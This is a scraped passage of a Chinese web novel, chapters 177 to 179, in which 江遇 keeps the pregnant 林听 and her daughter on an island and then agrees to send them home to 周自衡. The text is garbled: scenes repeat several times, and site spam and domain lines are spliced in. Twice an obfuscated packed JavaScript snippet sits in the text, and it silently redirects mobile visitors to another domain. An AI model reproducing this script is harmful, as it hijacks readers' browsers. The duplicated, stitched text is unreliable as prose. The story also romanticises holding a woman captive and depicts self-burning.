里面的小家伙,很有活力地,又踢了他一脚,仿佛连小家伙也不太待见他,在生气地说着:你不是我爸爸。 明明他和林听隔的如此之近,又和她肚子里的小家伙隔得如此之近。 他却觉得他和他们母子之间,仿佛是隔着不可跨越的鸿沟。 那条鸿沟比整个大西洋到鹏城的距离还要远。 他明明就在孩子和林听的身边,可林听和孩子们的心都在**之外的周自衡身上。 他输得彻彻底底。 贴在林听隆起的小腹的手,微微蜷缩,轻轻颤抖着收回来。 然后,他装作若无其事的样子,用当地的小语种语言,去询问医生孩子的发育情况。 当地的医生哪里知道,这个孩子不是他的。 医生见他如此体贴细致,不由笑盈盈道,“先生,你想知道这个孩子是男孩女孩吗,我们这边可以提前告诉你。 江遇回应,“男孩女孩我都喜欢。不过我非常愿意提前知道宝宝的性别。 对方是个牙齿白白的,皮肤微微黑的女医生,笑起来的时候满口洁白的牙齿让人看上去特别健康,“恭喜先生,是个非常漂亮的小女孩子儿,您看,她的鼻子长的和您一样挺。这里可以看到的,您看。 超声大排畸,不仅可以看到宝宝在肚子里有无异常。 运气好的话,还能看到宝宝的五官。 江遇凑近了一看。 小娃娃这挺拔的鼻梁,哪里是和他一模一样。 分明是和周自衡一模一样。 果然是周自衡的女儿。 那个时候,他和林听的感情还没有破裂时,他们去日料店吃林听最喜欢的日料时,偶然遇到了周自衡。 当时他和林听正在聊着,以后生男孩还是女孩的问题。 被周自衡撞了个正着。 他便顺口问了周自衡一句:阿衡,以后你要是娶老婆了,你希望生个男孩还是女孩? 当时周自衡的回答很肯定:他喜欢女孩,因为女孩一定会像妈妈一样漂亮。 当时,周自衡说这句话的时候,是看着林听的。 那时他不以为然。 现在想想才恍然大悟,原来很早很早以前,周自衡心里就已经装着一个他小心翼翼藏心底的林听。 如今,周自衡终于如愿了。 林听真的给他怀了一个女儿。 周自衡要是知道林听怀了他的孩子,一定会高兴坏了吧。 只有他,守着自己心爱的女人,在这里默默地尝着这个苦果。 最近,他信佛。 只愿能在佛前,找到一些答案。 可是参佛的时候,佛告诉他: 世间一切都有因果。 种什么因,得什么果。 如今这颗苦果,都是他自己早早种下的罢了。 因为循环,当真是活该的。 离开产检医院的时候,外面依然风雪漫天。 江遇把自己身上的毛呢大衣脱下来,披在林听的身上。 那件毛呢大衣,却被林听轻轻一推,从她单薄的双肩落下来。 深色的大衣掉落在白茫茫的雪地里,格外刺眼。 江遇将大衣捡起来,抖了抖上面的风雪,又盖在林听身上。 林听再次扔在地上。 江遇抢救过来,度过了危险,她很欣慰。 但这并不代表,她会原谅他之前所有的冷漠无情。 她看了一眼被她再次扔在地上的毛呢大衣,淡淡道,“阿衡是个小心眼,他最不喜欢我和别的男人接触,尤其是你。他要是知道我穿你的衣服,他会吃醋的。江遇,你可以选择永远把要囚禁在这座岛上,但是你永远也得不到我的心。我们就这样像陌生人一样相处着,也不是不可以。如果你受得了的话。” 没有哪一个男人,能够受得了自己心爱的女人,心里永远装着别的男人。 每天对他冷冷淡淡的。 当然,江遇也受不了。 此时此刻,他望着坐进车厢里,那个脸色冷淡的林听。 又从地上拾起衣服来。 手指紧紧地攥着衣服,连指关节的脆响声也在诉说着他的痛苦和怒意。 但他依然坚信,只要时间足够久,林听一定能够看到他的真心。 他收拾了自己痛苦又糟糕的情绪,跟着林听坐上了车。 这辆国产的比亚 迪高端定制车,是江遇从国内一起航海运过来的。 因为它防弹,防撞,防水,防震,甚至落水后还有水上航行的功能。 如果加满油,它能在水上航行三百多公里。 上车后,林听手肘着车窗,闭着眼睛休息。 没有再多说一个字。 而江遇,安安静静地陪在她的身边。 目光不经意间地扫视到,放在车前方防滑垫上的,那一对陶瓷娃娃。 那是他第四次修复完整的陶瓷娃娃。 后来,林听再也没有把它摔碎了。 可是如同林听所说的一样,虽然这对陶瓷娃娃被他修复得很完整,可是那些被金水融合的裂痕依然存在。 它像是长在江遇胸口的裂痕一样。 原来他和林听,真的回不到过去了。 车厢里的林听没有说话,不知何时靠在车窗睡着了。 而他,看了看那对意义不在的陶瓷娃娃,又看了看沉睡的林听。 清晨的阳光,穿过薄薄的云层,打落在这张白皙如玉的侧脸上。 他好想伸手,像多年前一样,云轻轻抚摸她的脸蛋。 可是伸出云的手,终究没有落下。 蜷缩着,收回来。 就怕落下后,会让她更加反感。 他已经有许久没有见过林听真正的笑容了。 坐在车厢里,他又盯着那对曾经象征着他与林听爱情的那对陶瓷娃娃,静静地沉思着。 这样将林听困在自己的身边,到底是对的吗? 答案无可厚非。 可江遇不愿意面对。 产检回去后,柚子放学回来,和林听说着学校里的事情。 两母女穿着厚厚的衣服,戴着帽子围巾,在雪地里,一边堆雪人,一边聊贴心的话。 “妈妈,今天在学校里还挺好的,老师也没有再提那个人的事情。也没有像老妈子似的,一个劲儿地劝我要原谅那个人,耳朵瞬间清净了不少。” 林听捧着手中的雪,给雪人造型的动作停下来。 抬眸一望,江遇依旧和往常一样,隔着她们两母女十几米远的距离,想靠近,又没有靠近。 男人不远不近地瞧着她们母女俩。 眼神里有 许多的渴望,也有许多的伤痛。 林听抽回眸光,继续堆着雪**大的肚子,又将一捧雪拍上去用力压了压。 或许是江遇和老师打过招呼,没有让老师再去烦柚子吧。 柚子把削好的胡萝卜,叉到雪人的脸上。 动作停下来,看向妈妈的肚子,“妈妈,你肚子里的宝宝出生的时候,我们能回到爸爸身边吗? 这个问题,林听无法回答。 照着江遇的固执,或许他们这辈子都别想回去了。 地球那么大。 那艘载着她和柚子来到这个小岛上的游轮,根本就没有固定的航海路线可以查询。 恐怕就算是周自衡,也很难找到他们。 她的目光由近及远,望向白雪茫茫的尽头,不知道远在鹏城的周自衡过得还好吗? “妈妈也希望,能够早点回到爸爸的身边。嘶…… 肚子里的小宝宝,又踢了她一脚。 并且还鼓了一个小包。 柚子看到妈妈鼓起来的肚子,十分惊讶。 她赶紧在围巾上后擦了擦自己的小手,落在妈妈的肚子上,“妈妈,宝宝动了一下。妈妈,小宝宝长得像你,还是像爸爸?会不会像柚子呢? 林听露出微笑来,“应该会像爸爸多一点吧。 她提到周自衡时,脸上的微笑是发自内心的。 远处的江遇,将这抹笑容收尽眼底,胸口如碎石般裂开。 只有在提到周自衡的时候,她才会感觉到快乐? …… 这天之后,林听病了。 感冒,发烧。 烧到38度多。 因为她是孕妇,不能吃药,不能输液。 只能物理降温。 硬扛过去。 不过江遇给林听做了血常规,不是病毒感冒。 幸好。 林听躺在床,迷迷糊糊地睡着。 江遇每个二十分钟,替她物理降一次温,换掉她脚掌心和额头的退烧贴。 又每隔十分,用热毛巾擦拭她的手臂,小腿,后背。 一刻也没有离开地守在林听的身边。 林听这一病,两天过去了,烧一直没有退。 好在她还 比较配合 只是她的脚有些浮种。 去上卫生间的时候要人扶着才行。 起初林听不让江遇扶但是江遇非要扶她。 拗不过他。 加上林听实在是全身瘫软无力。 但是她尿尿的时候不让江遇留在卫生间非把他赶了出去。 江遇站在卫生间的门外“听听不如你把我当成一个生活搭子吧。不过你多讨厌我但我始终一心一意扑在你身上又能照顾好你的饮食起居。这样一直到老有个伴多好。” 林听在里面虚弱得很声音却凶巴巴的“你做白日梦吧。” 门外没有回应。 一声沉寂。 江遇嘴角浮过一丝苦涩的笑意。 像是在自嘲。 门吧嗒一声被拧开的时候尽管心中苦涩他还是迎上去赶紧扶住了虚弱的林听。 她还在发烧。 一握住她的手滚烫灼人。 以至于林听刚刚倒在床上又浑浑噩噩地睡着了。 江遇又一遍一遍地替她擦拭热毛巾。 直到他拿体温计给她量体量时降到了三十六点五度他才停下来。 怕她一会儿又烧起来江遇没有离开。 继续守在床前每隔几分钟拭一拭林听的额头。 吴婶过来劝他“江先生我在这里照顾小听吧你去休息一下。” 这两天他一直守在林听身边。 困了也只是趴在床前眯一小会儿。 脸上除了疲倦以外是强撑的精神还有那冒出来的青黑色的胡茬以及眼里的红血丝。 “不用我怕听听又烧起来你给我拿一瓶红牛。”江遇对吴婶说“麻烦了。” 吴婶能说什么。 两分钟后给他拿来了一瓶红牛“江先生。” 江遇启开瓶子低头喝了几大口。 冰凉的红牛饮料入喉时顿时清爽了不少。 他咽下饮料时修长有力的脖颈微微一昂那性感的喉结上下滚动。 喝了几口放下瓶子继续默默 地守护着林听。 大约又过了半小时林听又烧起来了。 他重复着之前的退烧步骤耐心又细致地替她物理降温。 终于又退下来了。 林听迷迷糊糊的知道江遇在替她物理降温也想拒绝来着可是全身没有力气。 加上烧迷糊了。 好像是在梦里。 浑浑噩噩的头痛如炸裂。 忽然看见窗户上爬进来一个人。 “阿衡你怎么来了?” 周自衡爬进窗户来到她的床前将她小心翼翼又倍感珍惜地拥进怀里“对不起是我来晚了。” 忽然一把枪抵在周自衡的后背“周自衡**吧。” **扣响时林听惊得一身冒冷汗 原来是一场梦。 林听醒来的时候看见卧室里的一切都没有变。 窗户紧掩着。 卧室里没有周自衡。 只有坐在床边正拧着热毛巾的江遇。 江遇拧毛巾的动作停下来“做噩梦了?” 林听没有回答。 她看着满眼红血丝脸颊和下颌长满了胡渣的江遇知道这两天他衣不解带地在照顾她。 可她依然不愿有半分松动“江遇我想回鹏城。你就不能成全我和周自衡吗?” 江遇在热水里搓了一把刚刚替她擦拭过掌心的热毛巾“你放心周自衡在国内很安全周家那些人不是他的对手。他不会有危险。除了找你急得团团转以外。” 晚饭江遇是让吴婶送去房间的。 留下他和柚子坐在一张偌大的餐桌上。 柚子不怎么吃东西。 整个餐桌上只有他和柚子的身影。 灯光照父母二人的身影映衬得有些凄然。 这不是父女团聚这像是牢笼困住了柚子的自然毁掉了柚子的快乐夺走了柚子的笑容。 柚子忽然给江遇夹了一个芝士焗蜗牛“谢谢你给我做的芝士焗蜗牛很好吃。但是你可不可以送我和妈妈回爸爸身边。求求你!” 这是柚子第一次在他面前说这么软的话。 没有瞪眼没有冰冷的语气。 求求你三个字像是一把刺进江遇胸口的刀。 他想起林听那个雨夜柚子抓着他的衣服求他给一盒药求他救救妈妈。 如果那个时候他没有这么冷漠如今也不会和母女俩如此南辕北辙。 或许他该放手了。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 地守护着林听。 大约又过了半小时林听又烧起来了。 他重复着之前的退烧步骤耐心又细致地替她物理降温。 终于又退下来了。 林听迷迷糊糊的知道江遇在替她物理降温也想拒绝来着可是全身没有力气。 加上烧迷糊了。 好像是在梦里。 浑浑噩噩的头痛如炸裂。 忽然看见窗户上爬进来一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15976427|172816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人。 “阿衡你怎么来了?” 周自衡爬进窗户来到她的床前将她小心翼翼又倍感珍惜地拥进怀里“对不起 忽然一把枪抵在周自衡的后背“周自衡**吧。” **扣响时林听惊得一身冒冷汗“周自衡小心!” 原来是一场梦。 林听醒来的时候看见卧室里的一切都没有变。 窗户紧掩着。 卧室里没有周自衡。 只有坐在床边正拧着热毛巾的江遇。 江遇拧毛巾的动作停下来“做噩梦了?” 林听没有回答。 她看着满眼红血丝脸颊和下颌长满了胡渣的江遇知道这两天他衣不解带地在照顾她。 可她依然不愿有半分松动“江遇我想回鹏城。你就不能成全我和周自衡吗?” 江遇在热水里搓了一把刚刚替她擦拭过掌心的热毛巾“你放心周自衡在国内很安全周家那些人不是他的对手。他不会有危险。除了找你急得团团转以外。” 晚饭江遇是让吴婶送去房间的。 留下他和柚子坐在一张偌大的餐桌上。 柚子不怎么吃东西。 整个餐桌上只有他和柚子的身影。 灯光照父母二人的身影映衬得有些凄然。 这不是父女团聚这像是牢笼困住了柚子的自然毁掉了柚子的快乐夺走了柚子的笑容。 柚子忽然给江遇夹了一个芝士焗蜗牛“谢谢你给我做的芝士焗蜗牛很好吃。但是你可不可以送我和妈妈回爸爸身边。求求你!” 这是柚子第一次在他面前说这么软的话。 没有瞪眼没有冰冷的语气。 求求你三个字像是一把刺进江遇胸口的刀。 他想起林听那个雨夜柚子抓着他的衣服求他给一盒药求他救救妈妈。 如果那个时候他没有这么冷漠如今也不会和母女俩如此南辕北辙。 或许他该放手了。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 地守护着林听。 大约又过了半小时林听又烧起来了。 他重复着之前的退烧步骤耐心又细致地替她物理降温。 终于又退下来了。 林听迷迷糊糊的知道江遇在替她物理降温也想拒绝来着可是全身没有力气。 加上烧迷糊了。 好像是在梦里。 浑浑噩噩的头痛如炸裂。 忽然看见窗户上爬进来一个人。 “阿衡你怎么来了?” 周自衡爬进窗户来到她的床前将她小心翼翼又倍感珍惜地拥进怀里“对不起是我来晚了。” 忽然一把枪抵在周自衡的后背“周自衡**吧。” **扣响时林听惊得一身冒冷汗“周自衡小心!” 原来是一场梦。 林听醒来的时候看见卧室里的一切都没有变。 窗户紧掩着。 卧室里没有周自衡。 只有坐在床边正拧着热毛巾的江遇。 江遇拧毛巾的动作停下来“做噩梦了?” 林听没有回答。 她看着满眼红血丝脸颊和下颌长满了胡渣的江遇知道这两天他衣不解带地在照顾她。 可她依然不愿有半分松动“江遇我想回鹏城。你就不能成全我和周自衡吗?” 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柚子忽然给江遇夹了一个芝士焗蜗牛“谢谢你给我做的芝士焗蜗牛很好吃。但是你可不可以送我和妈妈回爸爸身边。求求你!” 这是柚子第一次在他面前说这么软的话。 没有瞪眼没有冰冷的语气。 求求你三个字像是一把刺进江遇胸口的刀。 他想起林听那个雨夜柚子抓着他的衣服求他给一盒药求他救救妈妈。 如果那个时候他没有这么冷漠如今也不会和母女俩如此南辕北辙。 或许他该放手了。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 第178章 送她们回国 柚子第一次求他的时候他无动于衷。 让柚子差点失去妈妈让柚子的世界如山崩地裂。 那是他对柚子无法磨灭的伤痛。 这一次柚子求他他心如刀绞却不得不正视这个问题。 他夹起那颗芝士焗蜗牛。 这是他亲自为柚子做的腌了柚了最喜欢的料放在芝士送入烤箱。 烤上十二分钟。 时间不能多也不能少。 多了蜗牛肉会柴少了无法激发香味。 柚子喜欢吃的每一种东西他都研究得很彻底。 这也是柚子第一次往他碗里夹菜。 他夹起来尝了尝。 这个味道他尝过很多遍了在做这道菜的时候就怕口感不好柚子不喜欢。 可是因为它是柚子第一次夹给他的菜味道顿时变得不一样了。 它变成了这世间最美味的一道菜。 仿佛往他的心间注入了一道强有力的力量。 那个力量叫父女亲情。 从柚子还在林听的肚子里到她长到这么大他没有尽过一个当父亲的一天责任。 她呱呱坠地的时候他没有陪在林听身边没有给她买一件衣服没有给她冲过一次奶粉还让她一只耳朵因为高烧烧成脑炎而听不见了。 他是这个世界上最混蛋的父亲。 芝士的味道还在唇齿里回味着。 或许以后每一次吃到芝士的时候他都会想起此时此刻是柚子离他最近的时候。 他回味着这让他心中酸涩复杂的味道看着柚子无比温柔道“谢谢柚子你也吃饭吃了饭我们去看看妈妈好点没有。等她感冒好了我就送你们回鹏城。” 柚子以为自己听错了。 她睁大一双乌溜溜的黑眼睛睫毛也不眨一下地满眼疑惑又期待地望着他。 “你刚刚说什么?” 江遇往柚子的碗里夹了一颗芝士焗蜗牛又夹了一片香煎深海雪鱼 夹完菜满眼温柔又满眼复杂地看着她。 那双乌溜溜的眼睛里充满了期待。 那是他的女儿第一次对他有了 期待。 他怎么能让女儿扫兴呢? 尽管柚子从来没有认他这个父亲。 他伸手摸了摸柚子的脑袋这一次柚子没有再躲又往他的心里注入了一股巨大的力量 他只想看到柚子和听听的脸上有笑容。 “爸爸说一会儿去看看妈妈让她多吃点东西快快好起来。” “等她这场感冒好了爸爸就送你们回鹏城回去和你的周爸爸团聚。” 说出最后这句话无疑是往自己的胸窝处狠狠捅了一刀。 无形的刀刃又锋又利又寒又冷。 江遇的整个身子都要被僵住。 直到看到面前的女儿愣了一下又向他重复确认得到肯定的答案咧嘴一笑后他才找到一丝宽慰。 只要能看到女儿的微笑什么都值得。 柚子仿佛怕被骗。 他又不是没骗过她。 于是刚刚高兴一下子又愣住了满眼担忧地看着他“你说的是真的吗你不会骗我吧?” 江遇点头。 见她还是有些担忧他做了一个指天起誓状“我说的都是真的等妈妈好起来就送你和妈妈回鹏城。如果食言不得好死!” 这会儿柚子才又重新露出笑容。 然后埋头大口大口的吃着饭菜。 江遇夹给她的芝士焗蜗牛还有那块香煎深海雪鱼以及贝贝南瓜她几大口就吃完了。 吃完了高高兴兴地继续嗦着剩下的芝士焗蜗牛。 一边吃一边看着满眼欣慰的江遇高兴道“谢谢您!” 这称呼变成了一个——“您”字。 终于不再是深仇大恨的——“那个人”了。 可是江遇还是不开心。 在柚子的心里爸爸的第一人选永远都只能是周自衡哪怕是宋律风也不会是他。 可是此时此刻他看到了女儿满心欢喜的笑容。 足矣! 饭后柚子崩崩跳跳去了林听面前。 这是江遇带柚子来这座小岛第一次见她欢快如小鸟。 林听正在喝粥。 那碗 蔬菜瘦肉粥,是江遇亲自煲的。 见到父女俩走过来,她有些诧异。 今天的柚子,为何这般高兴? 很快,柚子扑到面前来,脸上洋溢着阳光般灿烂的笑容,“妈妈,我们可以回鹏城,回到爸爸身边啦。” 疑惑的目光,落在江遇身上。 江遇心中钝痛,却面上平静,“你快点好起来,等你这场感冒好了之后,我送你和柚子回去。” 林听还没出声,旁边的吴婶惊了一下,“江先生,你不会是开玩笑的吧?” 来到这座岛屿后,她和老陈也求了他很多次,让他成全小听和周先生。 可是他的态度无比坚决。 为何突然就想通了,愿意成全了? 林听一句话也没有问,她看着江遇的种种反应,见他虽是满脸平静,却紧紧地攥着拳头。 指关节攥得隐隐发白。 一根根青筋从他的拳背上浮现出来。 每一根都带着他隐忍和克制的痛楚。 大概,他说的是真的吧。 所以,她没有问。 只听江遇对吴婶说,“吴婶,这几天你多给听听做一些营养的吃的,等她好起来,我们就动身回鹏城。这座岛是小国家,没有机场,只能原路走海路返回。” 闻言,林听顿时松了一口气。 吴婶高兴得赶紧去把这个好消息,告诉给老陈。 卧室里留下江遇和林听还有柚子,一家三口。 林听看着他,问,“你为什么突然想通了?” 没有为什么。 只不过是,他爱她和柚子太深,不愿看到她们母女俩都如此痛苦。 她在睡梦中,担忧着周自衡的安危,叫着周自衡的名字时,他心如刀绞,也深深地明白,强扭的瓜确实可以被扭下来,但是它不甜。 在这座岛屿上,有林听最喜欢的积雪。 一年三百六十五天,有半年的时间都可以看雪花,堆雪人,可以带着柚子打雪仗。 可是,她和柚子都不快乐。 她们不快乐,他又何尝快乐? 江遇接过林听端在手里的粥碗,拿起勺子,舀了一勺粥,喂到她的嘴边,“把粥吃完,快点好起来。” 这是林听来 到岛屿上第一次含下他喂来的粥然后满心复杂地说了一句“谢谢!” 或许他们之间就只剩下这一句话了。 江遇握着勺子的手紧紧攥着没再应声“……” …… 此时 岛上还是和来时一样常年积雪不化。 已经有大半个月没有下雪了。 这天晚上林听的烧退了江遇守在病床边上又观察了四个多小时没见到她再烧起来后他走到窗边窗外又下雪了。 那雪花像是鹅毛一样大片大片地落在茫茫的雪地里。 也落满了江遇的胸口。 “周自衡……小心!” 床上的女人又做噩梦了。 梦里她叫着周自衡的名字。 江遇走到床边摸了摸她的额头还好没有再烧起来。 纤细白皙的手掌忽然抓住了他的手臂“周自衡小心!” 猛然惊醒。 又是一场梦。 林听擦了擦额头的汗看到坐在床边满眼痛苦的江遇。 江遇抽了另一只手拂过她脸颊被汗湿的碎发别到她的耳后心疼地问“又做噩梦了?” 而被林听紧紧拽住的那只手依然在林听的掌心里。 她没有松手。 梦里也是这样一只手臂握住一根栏杆紧紧攀着。 那是周自衡的手。 **拿着一把长长的**往他手臂上肩上砍了一刀又一刀。 寒光闪闪的刀刃上滴着一滴又一滴鲜红的血液滴向茫茫大海。 最后掉进了浪潮翻涌之中林听依然没有看清周自衡的脸。 浪花溅起来很快就瞧不见身影了。 林听也猛然被噩梦惊醒。 直到江遇第二次将她右脸颊被汗湿的头发别到耳后时她这才发现她紧紧抓住的这只手臂不是周自衡的。 她赶紧松开“我梦见周自衡被人杀掉了。” 来到这座岛上她无时无刻不担忧着周自衡的安危。 周家的每个人都希望他死。 周老六周自雄又下落不明说不定哪天就冒出来和周自衡抢周家家主之位。 难道这个梦预示着什么? 额头的汗水刚刚**遇擦干又密密麻麻地冒出来。 她看着江遇似在求他“江遇我们可不可以早点动身回鹏城?” 江遇拿出手绢擦着她额头的汗水“虽然周自衡不知道我们在这座岛上但是国内每一天的情况我都了如指掌。几个小时前才刚刚得到消息周自衡除了找你找得心急如焚其余的都好好的你不用替他这么担心。” 林听还是满眼担忧“你真的知道国内的情况吗周自衡真的一切安好?” 她眼里的担忧落入江遇的眼里。 握着手绢的手指用力攥紧。 从未见她像担心周自衡一般担心过他呢。 江遇深吸一口气“我说了等你这场感冒好了之后我们才能动身。回鹏城的整个海上航程最快也要五天我们上次走得慢用了七天。你现在怀着五六个月的身孕必须等你感冒好起来了才能动身。” 这场感冒想好完全好起来可能还要等个十天八天的。 她是孕妇什么药都不能吃。 康复起来本来就慢。 简直让林听无比焦心。 “江遇。”她眼里的担忧丝毫未裉去“你不是说国内的情况你了如指掌吗?你可不可以让我和周自衡通个电话?” 男人努力克制住的怒意再也压不住。 紧崩着额角咬了咬后牙槽。 林听继续恳求“江遇拜托你了。你不是也准备让我回鹏城了吗。既然你愿意成全我可不可以让我和周自衡通个电话我只要能听到他的声音就……” “林听够了。”江遇再也克制不住自己的怒意紧攥着拳头“你不要对我这般残忍不要得寸进尺。我已经同意让你回鹏城了。” 还要他怎样? 要他亲眼见着她对周自衡深深的牵挂与担忧? 这对他来说太残忍了。 他握紧的拳头青筋直冒“你好好休息。” 说完高大英俊又染满寒意的身躯拉开门消失在夜色。 回到自己的卧室 说的域名caixs?(请来才小 说 看最新章节 完整章节)江遇站在窗边点燃一根烟猛地吸了一大口。 火星子越燃越旺。 胸口 钝痛的江遇,怒意阵阵,一把捏着那烟头,用力攥紧。 滚烫的火星子接触他的皮肉。 空气里,泛起一股皮肉被烧焦的味道。 江遇的掌心里,一块皮肉已经被烧糊了。 可是,他丝毫不觉得疼。 因为这掌心里的疼痛,比胸口的痛,轻多了。 这一夜,他站在窗前,看着窗外的雪又下了一夜。 清晨,窗前的花坛里面,多了一根又一根的烟蒂。 吴婶进来打扫卫生时,满屋子的烟味久久不散。 看到花坛里数不清的烟蒂,吴婶一边整理,一边摇头,“可怜之人必有可恨之处,唉! 今天的林听,感冒似乎好了许多。 没有再高烧不通了。 可是感冒后遗症,咳嗽,喉咙痛,流鼻涕,头晕晕乎乎,全身酸软无力,一样也不少。 早餐时,柚子想让妈妈快点好起来,让她吃这样,那样。 可是她胃口不太好,只喝了一碗暖暖的小米粥。 从坐到餐桌上,林听便没有和江遇说话。 开口第一句,便是问,“江遇,周自衡他…… 怕江遇一会儿生气了,反悔不送她们母女回鹏城了,林听没敢继续说下去。 餐桌对面的江遇,阴沉着脸色,握着碗的手最用力攥紧。 这些细微的动作,林听尽收眼底,又小心翼翼问,“江遇,你不会反悔了,不愿送我们回鹏城了吧? 谁知,江遇掏出一个手机。 只有他的那只手机,才能拨打国内的电话,“给他打个电话,报声平安。 林听顿时抓住那只手机,生怕他反悔似的,点了点屏幕,要给周自衡打电话。 屏幕上弹出一个提示,要她输入解锁密码。 她望向江遇,江遇黑着脸色说,“密码是你高考后的那个日子,你知道的。 高考后的那个日子,是两人偷尝禁果的日子。 林听记得。 但她已经不在乎所谓的初夜了,她赶紧解了锁,去打电话…… 你的朋友正在书荒,快去帮帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15980739|172816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他吧 钝痛的江遇,怒意阵阵,一把捏着那烟头,用力攥紧。 滚烫的火星子接触他的皮肉。 空气里,泛起一股皮肉被烧焦的味道。 江遇的掌心里,一块皮肉已经被烧糊了。 可是,他丝毫不觉得疼。 因为这掌心里的疼痛,比胸口的痛,轻多了。 这一夜,他站在窗前,看着窗外的雪又下了一夜。 清晨,窗前的花坛里面,多了一根又一根的烟蒂。 吴婶进来打扫卫生时,满屋子的烟味久久不散。 看到花坛里数不清的烟蒂,吴婶一边整理,一边摇头,“可怜之人必有可恨之处,唉! 今天的林听,感冒似乎好了许多。 没有再高烧不通了。 可是感冒后遗症,咳嗽,喉咙痛,流鼻涕,头晕晕乎乎,全身酸软无力,一样也不少。 早餐时,柚子想让妈妈快点好起来,让她吃这样,那样。 可是她胃口不太好,只喝了一碗暖暖的小米粥。 从坐到餐桌上,林听便没有和江遇说话。 开口第一句,便是问,“江遇,周自衡他…… 怕江遇一会儿生气了,反悔不送她们母女回鹏城了,林听没敢继续说下去。 餐桌对面的江遇,阴沉着脸色,握着碗的手最用力攥紧。 这些细微的动作,林听尽收眼底,又小心翼翼问,“江遇,你不会反悔了,不愿送我们回鹏城了吧? 谁知,江遇掏出一个手机。 只有他的那只手机,才能拨打国内的电话,“给他打个电话,报声平安。 林听顿时抓住那只手机,生怕他反悔似的,点了点屏幕,要给周自衡打电话。 屏幕上弹出一个提示,要她输入解锁密码。 她望向江遇,江遇黑着脸色说,“密码是你高考后的那个日子,你知道的。 高考后的那个日子,是两人偷尝禁果的日子。 林听记得。 但她已经不在乎所谓的初夜了,她赶紧解了锁,去打电话…… 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 钝痛的江遇怒意阵阵一把捏着那烟头用力攥紧。 滚烫的火星子接触他的皮肉。 空气里泛起一股皮肉被烧焦的味道。 江遇的掌心里一块皮肉已经被烧糊了。 可是他丝毫不觉得疼。 因为这掌心里的疼痛比胸口的痛轻多了。 这一夜他站在窗前看着窗外的雪又下了一夜。 清晨窗前的花坛里面多了一根又一根的烟蒂。 吴婶进来打扫卫生时满屋子的烟味久久不散。 看到花坛里数不清的烟蒂吴婶一边整理一边摇头“可怜之人必有可恨之处唉!” 今天的林听感冒似乎好了许多。 没有再高烧不通了。 可是感冒后遗症咳嗽喉咙痛流鼻涕头晕晕乎乎全身酸软无力一样也不少。 早餐时柚子想让妈妈快点好起来让她吃这样那样。 可是她胃口不太好只喝了一碗暖暖的小米粥。 从坐到餐桌上林听便没有和江遇说话。 开口第一句便是问“江遇周自衡他……” 怕江遇一会儿生气了反悔不送她们母女回鹏城了林听没敢继续说下去。 餐桌对面的江遇阴沉着脸色握着碗的手最用力攥紧。 这些细微的动作林听尽收眼底又小心翼翼问“江遇你不会反悔了不愿送我们回鹏城了吧?” 谁知江遇掏出一个手机。 只有他的那只手机才能拨打国内的电话“给他打个电话报声平安。” 林听顿时抓住那只手机生怕他反悔似的点了点屏幕要给周自衡打电话。 屏幕上弹出一个提示要她输入解锁密码。 她望向江遇江遇黑着脸色说“密码是你高考后的那个日子 小说更新,记住域名caixs▄(请来才 小说 看最新章节 完整章节)你知道的。” 高考后的那个日子是两人偷尝禁果的日子。 林听记得。 但她已经不在乎所谓的初夜了她赶紧解了锁去打电话…… 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 钝痛的江遇,怒意阵阵,一把捏着那烟头,用力攥紧。 滚烫的火星子接触他的皮肉。 空气里,泛起一股皮肉被烧焦的味道。 江遇的掌心里,一块皮肉已经被烧糊了。 可是,他丝毫不觉得疼。 因为这掌心里的疼痛,比胸口的痛,轻多了。 这一夜,他站在窗前,看着窗外的雪又下了一夜。 清晨,窗前的花坛里面,多了一根又一根的烟蒂。 吴婶进来打扫卫生时,满屋子的烟味久久不散。 看到花坛里数不清的烟蒂,吴婶一边整理,一边摇头,“可怜之人必有可恨之处,唉! 今天的林听,感冒似乎好了许多。 没有再高烧不通了。 可是感冒后遗症,咳嗽,喉咙痛,流鼻涕,头晕晕乎乎,全身酸软无力,一样也不少。 早餐时,柚子想让妈妈快点好起来,让她吃这样,那样。 可是她胃口不太好,只喝了一碗暖暖的小米粥。 从坐到餐桌上,林听便没有和江遇说话。 开口第一句,便是问,“江遇,周自衡他…… 怕江遇一会儿生气了,反悔不送她们母女回鹏城了,林听没敢继续说下去。 餐桌对面的江遇,阴沉着脸色,握着碗的手最用力攥紧。 这些细微的动作,林听尽收眼底,又小心翼翼问,“江遇,你不会反悔了,不愿送我们回鹏城了吧? 谁知,江遇掏出一个手机。 只有他的那只手机,才能拨打国内的电话,“给他打个电话,报声平安。 林听顿时抓住那只手机,生怕他反悔似的,点了点屏幕,要给周自衡打电话。 屏幕上弹出一个提示,要她输入解锁密码。 她望向江遇,江遇黑着脸色说,“密码是你高考后的那个日子,你知道的。 高考后的那个日子,是两人偷尝禁果的日子。 林听记得。 但她已经不在乎所谓的初夜了,她赶紧解了锁,去打电话…… 你的朋友正在书荒,快去帮帮他吧 第179章 周自衡,是我 江遇眼睛也不眨一下地,盯着林听输入了解锁密码。 那个日子,是林听高考后,他们偷偷尝了禁果的日子。 